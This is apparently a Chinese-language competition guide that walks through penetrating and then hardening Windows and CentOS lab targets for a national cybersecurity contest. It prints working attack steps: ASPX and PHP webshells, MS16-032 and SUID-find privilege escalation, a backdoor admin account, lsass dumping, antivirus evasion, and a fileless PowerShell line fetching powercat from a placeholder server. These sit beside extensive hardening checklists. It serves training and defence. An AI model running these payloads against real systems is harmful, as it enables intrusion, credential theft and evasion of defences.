网络安全竞赛实战：系统渗透与加固全流程解析

1. 项目概述与核心思路

“国赛网络安全试题A模块”，这个标题一出来，很多参加过或者关注网络安全竞赛的朋友，尤其是像“全国大学生信息安全竞赛”这类国赛的选手，估计会心一笑，或者眉头一紧。这不仅仅是一道题，它更像是一个缩影，一个检验参赛者从理论到实践、从单点技术到体系化防御的综合能力的“靶场”。A模块通常聚焦于系统安全加固与渗透测试，它要求你在一个预设的、充满漏洞和弱点的靶机环境（通常是Windows和Linux混合或独立环境）中，扮演一个“安全工程师”的角色，完成从信息收集、漏洞发现、权限提升到最终的系统加固、日志审计等一系列任务。

简单来说，它模拟了一个企业初级服务器被外部扫描发现后，内部安全团队进行应急响应和加固处置的全过程。你需要既是“攻击者”，找到系统的命门；更要是“防御者”，亲手把这些命门一一焊死，并留下监控的眼睛。这其中的技术栈非常明确：Windows与Linux系统安全、防火墙策略、服务加固、日志分析、漏洞利用与修复。下面，我将以一个资深CTF选手和安全工程师的双重视角，为你彻底拆解这类题目的核心套路、实战步骤以及那些官方手册里不会写的“坑点”和技巧。

2. 环境准备与题型深度解析

在真正动手之前，盲目开干是最忌讳的。国赛的A模块环境，通常以虚拟机镜像（.ova或.vmdk格式）提供，里面可能包含一台或多台互联的靶机。

2.1 典型环境与工具链构建

环境特征：

• 操作系统：99%的概率是Windows Server（如2012 R2, 2016）和Linux（如CentOS 7, Ubuntu 18.04/20.04）的组合。Windows通常作为Web服务器或域控制器，Linux则可能承担数据库、应用服务器或跳板机的角色。
• 网络拓扑：可能是简单的单机，也可能是NAT模式下的多机网络。第一步永远是搞清楚IP地址规划。使用ipconfig /all(Windows) 或ifconfig/ip addr(Linux) 快速获取本机IP，并通过arp -a或nmap -sn <网段>来发现同一网段下的其他主机。
• 用户权限：初始登录账号往往是低权限用户，如Windows的普通用户、Linux的www-data或某个普通用户。提权是必经之路。

必备工具链（个人实战推荐）：这不是简单的软件列表，而是经过无数次比赛验证的“组合拳”。

1. 信息收集与扫描：

   • Nmap：毋庸置疑的王者。但比赛时，别只会用-sS -sV。对于防火墙可能过滤SYN扫描的情况，要会用-sT(TCP全连接扫描)。对于Windows主机，-sU(UDP扫描) 检查SNMP、RDP等端口也常有奇效。高级技巧：使用--script参数调用NSE脚本进行漏洞初步探测，如nmap --script vuln <target>。
   • Netcat：瑞士军刀。用于端口监听、文件传输、反向Shell，在无法直接上传工具时尤其重要。
   • Dirb/Dirbuster/Gobuster：Web目录爆破。字典的选择是关键，推荐使用/usr/share/wordlists/dirb/common.txt或directory-list-2.3-medium.txt作为起点。

2. 漏洞利用与提权：

   • Searchsploit/Exploit-DB：本地漏洞库查询。拿到服务版本号后第一时间本地搜索，比上网快得多。
   • Metasploit Framework (msf)：重型武器。优点是快，缺点是有时会被AV/EDR检测，且过于依赖可能导致思维僵化。我的原则：能用手工验证和利用的漏洞，尽量不用msf，除非时间紧迫或利用过程极其复杂。
   • Windows-Exploit-Suggester/Linux-Exploit-Suggester：提权神器。在获取目标系统版本和补丁信息后，这些脚本能快速给出可能适用的本地提权EXP。
   • John the Ripper/Hashcat：密码破解。从Web应用、系统内存或配置文件中获取的哈希值，最终破解往往靠它们。

3. 后渗透与加固：

   • Mimikatz(Windows)：抓取内存密码、黄金票据攻击的利器。但在实战和比赛中，直接运行mimikatz.exe极易被杀。需要做免杀或使用Procdump先dump出lsass.exe进程内存，再到本地用Mimikatz分析。
   • PowerSploit/Nishang：PowerShell攻击框架。在Windows靶机上，PowerShell是比CMD强大得多的后渗透工具。
   • Wireshark/Tcpdump：流量分析。用于分析题目中提供的pcap文件，或验证自己的攻击流量。
   • 文本处理三剑客：grep,awk,sed。在Linux上分析日志、过滤数据、批量修改配置，离不开它们。

注意：比赛环境通常不提供外网，或访问速度极慢。因此，在本地虚拟机或物理机中提前搭建一个与比赛环境类似的“工具库”和“调试环境”至关重要。将所有常用工具、字典、EXP都提前准备好，并测试其可用性。

2.2 题目核心考点拆解

A模块的题目设计，通常遵循一个标准的攻击链（Kill Chain）或应急响应流程。我们可以将其分解为以下几个阶段，每个阶段都对应着具体的考点：

3. 实战攻防流程与核心环节实现

我们假设一个典型的混合靶场：一台Windows Server 2016（IP: 192.168.1.10）运行着有漏洞的Web应用，一台CentOS 7（IP: 192.168.1.20）运行着数据库。最终目标是获取两台主机上的Flag，并完成加固。

3.1 第一阶段：外网信息收集与突破

步骤1：全面的端口扫描

# 对Windows靶机进行全端口、服务版本、脚本扫描 nmap -sS -sV -sC -p- 192.168.1.10 -oN win_scan.txt # 对Linux靶机，特别注意22, 80, 443, 3306, 6379等端口 nmap -sS -sV -sC -p 22,80,443,3306,6379,8080 192.168.1.20 -oN linux_scan.txt

结果分析：发现Windows开放了80（IIS）、445（SMB）、3389（RDP）；Linux开放了22（SSH）、3306（MySQL）、6379（Redis）。

步骤2：Web应用渗透访问http://192.168.1.10，发现是一个文件上传点。尝试上传图片马，被过滤。通过Burp Suite抓包，修改Content-Type为image/jpeg，成功上传一个.aspx的Webshell。

<% @Page Language="C#" %> <% System.Diagnostics.Process.Start("cmd.exe", "/c whoami"); %>

使用蚁剑或中国菜刀连接，获得iis apppool\defaultapppool权限。这就是我们的初始立足点。

步骤3：内网信息收集（从Windows跳板）在Webshell中执行：

# 查看当前用户权限和网络信息 whoami /all ipconfig arp -a # 尝试扫描内网其他主机（从靶机内部扫描更准确） for /l %i in (1,1,254) do @ping -n 1 -w 50 192.168.1.%i | findstr "TTL"

确认了Linux主机192.168.1.20在内网可达。

3.2 第二阶段：权限提升与横向移动

步骤4：Windows本地提权在Webshell中上传WinPEAS.bat或Windows-Exploit-Suggester的输出结果进行分析。发现系统未打MS16-032补丁。上传对应的EXP（如MS16-032.exe）并执行：

MS16-032.exe "whoami" # 返回了 nt authority\system， 提权成功！ # 接下来可以添加一个管理员用户，并开启RDP（如果题目允许） net user hacker P@ssw0rd123! /add net localgroup administrators hacker /add reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

现在，我们拥有了Windows靶机的完全控制权。可以轻松找到第一个Flag（通常在桌面、C盘根目录或特定用户的文档里）。

步骤5：从Windows向Linux横向移动在Windows的Web目录或某个可写目录，我们发现了数据库配置文件web.config或config.php，里面包含了MySQL的连接密码：root:Admin@123。 由于MySQL允许远程连接（端口3306开放），我们可以从Windows直接连接Linux的MySQL。

# 在Windows上，如果有MySQL客户端，可以直接连接 mysql -h 192.168.1.20 -u root -p'Admin@123'

进入MySQL后，尝试利用UDF提权或写Webshell。

-- 查看MySQL插件目录 show variables like '%plugin%'; -- 尝试写入一个PHP Webshell到Web目录（假设我们知道路径） select '<?php @eval($_POST["cmd"]);?>' into outfile '/var/www/html/shell.php';

如果secure_file_priv设置不为空，此方法可能失败。另一种思路是利用MySQL的system命令（如果以root权限运行且sys_exec可用）来执行系统命令，反弹一个Shell到我们的监听端。

步骤6：Linux权限提升假设通过Webshell或反弹Shell获得了Linux的www-data权限。首先进行信息收集：

# 查找SUID文件 find / -perm -u=s -type f 2>/dev/null # 查看sudo权限 sudo -l # 查看内核版本 uname -a # 查看计划任务 crontab -l ls -la /etc/cron*

发现/usr/bin/find具有SUID权限，并且当前用户可以执行。这是一个经典的提权向量：

/usr/bin/find . -exec /bin/sh -p \; -quit

执行后，我们获得了root权限的Shell。找到第二个Flag（可能在/root目录下）。

3.3 第三阶段：安全加固（A模块核心输出）

现在，我们已经以最高权限掌控了两台靶机。接下来，需要从“攻击者”思维切换到“防御者”思维，将我们利用过的漏洞全部修复。

Windows Server 2016 加固清单：

1. 防火墙配置：

   • 关闭不必要的入站端口（如445、3389，除非业务必需）。以管理员身份打开PowerShell：

     # 禁用445端口（SMB） New-NetFirewallRule -DisplayName "Block SMB Inbound" -Direction Inbound -Protocol TCP -LocalPort 445 -Action Block # 如果必须开3389，则限制源IP（假设只允许管理IP 192.168.1.100访问） New-NetFirewallRule -DisplayName "Restricted RDP" -Direction Inbound -Protocol TCP -LocalPort 3389 -RemoteAddress 192.168.1.100 -Action Allow

   • 启用并检查防火墙日志。

2. 服务与补丁：

   • 禁用不必要的服务，如Telnet,Remote Registry。

     sc config TlntSvr start= disabled sc config RemoteRegistry start= disabled

   • 安装所有关键安全更新。在比赛环境中可能无法联网，但需在答题报告中写明此步骤。使用systeminfo查看已安装补丁，对比漏洞利用的补丁编号（如KB4013389对应MS17-010），说明需要安装。

3. 账户与密码策略：

   • 删除或禁用测试账户、弱口令账户。

     net user hacker /delete

   • 启用密码复杂度策略，设置密码最短使用期限和锁定阈值。

     secedit /export /cfg config.inf # 编辑config.inf文件，修改PasswordComplexity, MinimumPasswordLength, LockoutBadCount等值 secedit /configure /db config.sdb /cfg config.inf

4. 日志审计：

   • 启用详细的安全审计策略（审核策略更改、登录事件、对象访问等）。

     auditpol /set /category:* /success:enable /failure:enable

   • 增大安全日志大小，防止被刷满覆盖。

5. Web应用加固：

   • 修复文件上传漏洞：在IIS中，为上传目录设置严格的执行权限（无脚本权限）。
   • 删除或禁用上传的Webshell。
   • 升级Web框架或中间件（如.NET, IIS）到安全版本。

CentOS 7 加固清单：

1. 防火墙配置：

   • 使用firewalld（默认）或iptables，只开放必要端口。

     systemctl start firewalld systemctl enable firewalld firewall-cmd --permanent --remove-service=ssh # 如果不需要SSH firewall-cmd --permanent --add-service=http --add-service=https # 如果需要Web firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" port protocol="tcp" port="3306" accept' # 仅允许内网访问MySQL firewall-cmd --reload

2. SSH安全：

   • 修改/etc/ssh/sshd_config：

     PermitRootLogin no PasswordAuthentication no # 强制使用密钥登录 AllowUsers your_username # 只允许特定用户

   • 重启服务：systemctl restart sshd。

3. 服务与权限：

   • 移除危险SUID权限：chmod u-s /usr/bin/find。
   • 修复MySQL配置：在/etc/my.cnf中设置bind-address = 127.0.0.1（仅本地监听），并设置复杂的root密码。
   • 修复Redis配置：设置密码requirepass，并禁用或重命名危险命令（如FLUSHALL,CONFIG）。

4. 系统更新与内核：

   • yum update -y更新所有软件包。
   • 对于无法立即重启应用新内核的情况，需在报告中说明风险及计划。

5. 入侵检测与日志：

   • 安装并配置auditd，监控关键文件（如/etc/passwd,/etc/shadow, Web目录）的更改。
   • 配置logrotate，确保日志文件不会无限增长。
   • 分析/var/log/secure和/var/log/messages，查找攻击痕迹（如失败的登录尝试、异常进程）。

4. 常见问题与排查技巧实录

在实战和比赛中，时间紧迫，环境陌生，以下是我总结的“踩坑”实录和应对技巧：

问题1：扫描结果与预期不符，关键端口没扫出来。

• 可能原因：靶机开启了主机防火墙，丢弃了ICMP和SYN包。
• 排查技巧：
  • 使用-Pn参数让Nmap跳过主机发现，直接扫描端口。
  • 尝试不同的扫描技术：-sT（全连接，较慢但可靠）、-sN（NULL扫描）、-sF（FIN扫描），可能绕过简单的防火墙规则。
  • 从已获取权限的主机内部进行扫描，视角更准确。

问题2：上传的Webshell或EXP无法执行。

• 可能原因：杀毒软件（Windows Defender）实时防护、文件权限不足、执行策略限制（PowerShell）。
• 排查技巧：
  • Windows：尝试绕过执行策略powershell -ExecutionPolicy Bypass -File script.ps1。对于可执行文件，尝试使用rundll32.exe、mshta.exe等白名单程序进行加载。或将EXE文件编码为十六进制字符串，通过PowerShell在内存中加载（无文件落地）。
  • Linux：检查文件是否有执行权限（chmod +x），检查SELinux状态（getenforce），如果是Enforcing模式，可能需要临时禁用或添加策略。

问题3：提权EXP编译失败或运行无反应。

• 可能原因：靶机缺少编译环境（gcc）、EXP与系统架构（x86/x64）不匹配、依赖的库文件缺失。
• 排查技巧：
  • 优先使用预编译的二进制文件：在本地Kali或相同版本系统中提前编译好x86和x64两个版本。
  • 静态链接编译：在编译时加上-static选项，将依赖库打包进二进制文件，避免靶机缺少库文件。
  • 使用跨语言EXP：很多经典的提权漏洞（如DirtyCow）都有Python版本，对环境依赖小。

问题4：加固后服务无法启动或网络不通。

• 可能原因：防火墙规则过于严格，阻止了服务自身通信；修改配置文件时语法错误；服务依赖关系被破坏。
• 排查技巧：
  • 先测试，再保存：firewall-cmd使用--add-port时先不加--permanent，测试业务正常后再永久化。
  • 配置备份：修改任何重要配置文件前（如sshd_config,my.cnf），先进行备份cp file file.bak。
  • 查看日志：服务启动失败，第一时间查看系统日志（journalctl -xe）或服务专用日志（/var/log/mysql/error.log），根据错误信息定位问题。

问题5：找不到Flag文件。

• 可能原因：Flag文件名或路径不常规，设置了隐藏属性或特殊权限。
• 排查技巧：
  • 全盘搜索：find / -name "*flag*" -o -name "*key*" -o -name "*.txt" 2>/dev/null。
  • 检查最近修改的文件：find / -type f -mmin -5 2>/dev/null（查找5分钟内修改过的文件）。
  • 检查所有用户的桌面、文档、下载目录：ls -la /home/*/Desktop /home/*/Documents。
  • Windows下：使用dir /s /b *flag*或Get-ChildItem -Path C:\ -Include *flag* -File -Recurse -ErrorAction SilentlyContinue。

5. 工具选型与备赛策略精讲

工欲善其事，必先利其器。面对国赛这种高强度、综合性的挑战，工具的选择和使用策略直接决定了你的效率和上限。

5.1 扫描工具：Nmap的深度使用Nmap远不止一个端口扫描器。在A模块中，它的脚本引擎（NSE）是快速获取漏洞线索的宝藏。

• 漏洞扫描：--script vuln是起步，但更要学会针对性使用。例如，看到SMB服务，可以运行--script smb-vuln*；看到IIS，可以运行--script http-iis*。
• 暴力破解：对于开放的RDP、SSH、MySQL端口，Nmap可以集成简单的暴力破解脚本，如--script rdp-brute或--script ssh-brute。但在比赛时间有限时，更推荐用专门的工具（如Hydra）并行爆破。
• 信息枚举：--script banner可以抓取更详细的banner信息。--script smb-os-discovery可以获取Windows系统的详细版本信息，这对后续寻找提权EXP至关重要。

5.2 渗透框架：Metasploit的取舍之道MSF强大，但滥用会暴露你的攻击行为（产生大量特征流量）并让你失去对底层原理的理解。

• 何时用MSF：
  1. 漏洞利用过程极其复杂，手工构造EXP耗时过长（如某些Java反序列化漏洞）。
  2. 需要稳定的Meterpreter会话进行后续的自动化信息收集和横向移动。
  3. 时间所剩无几，需要“一键化”操作。
• 何时不用MSF：
  1. 漏洞利用简单（如一个简单的SQL注入点）。
  2. 题目环境可能部署了简单的IDS，对MSF的流量有识别。
  3. 你想真正锻炼自己的手动能力。手动利用成功带来的成就感，是MSF无法比拟的。

5.3 密码破解：字典的学问弱口令是永恒的漏洞。一个好的字典是成功的一半。

• 通用字典：rockyou.txt（Kali自带）是基础，但远远不够。
• 针对性生成：使用crunch、cupp等工具，根据目标单位名称、缩写、日期等生成潜在密码。
• 规则破解：Hashcat的“规则攻击”模式极其强大。它可以在基础字典上应用一系列变换规则（如大小写转换、添加后缀数字、Leet语替换等），极大提高命中率。例如，基础密码company，通过规则可以衍生出Company2023!、C0mp4ny等。
• 技巧：对于Web登录框，先用一个超小字典（如10个常见密码）进行快速测试，防止因频繁错误导致IP被锁。

5.4 免杀与对抗：越来越重要的技能国赛环境虽然通常不设强EDR，但基础的Windows Defender还是有的。直接上传一个mimikatz.exe或nc.exe很可能被秒杀。

• 源码免杀：下载工具的源码，自己用Visual Studio或MinGW进行编译，修改一些字符串特征或代码结构。
• 加载器免杀：使用Shellter、Veil-Evasion（已停止维护但旧版仍可用）等工具，将payload注入到正常的可执行文件（如putty.exe）中。
• 无文件落地：这是最高效的方式。利用PowerShell、VBScript、JScript等脚本语言，从远程加载并直接在内存中执行payload。例如，使用Invoke-Expression (New-Object Net.WebClient).DownloadString('http://your-server/powercat.ps1')来在内存中加载Netcat的PowerShell版本。
• 白名单利用：使用系统自带的、可信的二进制文件来执行恶意操作，如msbuild.exe、installutil.exe、regsvr32.exe等。这需要你对Windows系统有较深的理解。

6. 从解题到建题：思维模式的升华

当你熟练了各种攻击技巧和加固步骤后，不妨换个角度思考：如果你是出题人，你会怎么设计这道题？这种“逆向思维”能让你在解题时更快地抓住重点。

• 考点串联：一个好的赛题，漏洞点不会是孤立的。例如，一个文件上传漏洞（获取Webshell）可能配合一个数据库弱口令（获取数据库权限），再通过数据库的into outfile功能写一个SSH密钥到目标服务器，最终实现权限提升。你需要理清这条逻辑链。
• “陷阱”设置：出题人可能会故意留下一些“诱饵”。比如，放一个明显的、版本很老的服务，但实际漏洞却在另一个不起眼的自研应用上。或者，在/etc/passwd里放一个uid为0的普通用户，但它的shell是/bin/false，让你空欢喜一场。
• 加固的“标准答案”：在加固部分，评分标准往往有“关键点”。例如，关闭了445端口可能得1分，设置了强密码策略得1分，启用了日志审计得1分。你的加固步骤需要尽可能覆盖这些评分点，并且操作要规范、可验证（比如用命令截图证明防火墙规则已生效）。
• 日志分析的艺术：这不仅是加固的一部分，更是溯源取证能力的体现。题目可能会给出一段攻击后的日志，让你找出攻击者的IP、攻击时间、利用的漏洞、上传的后门文件路径等。熟练掌握grep,awk,sed以及Windows事件查看器的筛选功能是基础。

国赛A模块的魅力，就在于它高度模拟了真实世界中的攻防对抗。它考验的不仅是你的工具使用熟练度，更是你的系统性思维、临场应变和知识广度。每一次练习和比赛，都是一次将碎片化知识整合成实战能力的过程。记住，工具和技术会迭代，但攻防的基本逻辑和系统性思考的方式是永恒的。保持好奇，勤于动手，多从防御者的角度思考攻击，你的能力边界才会不断拓展。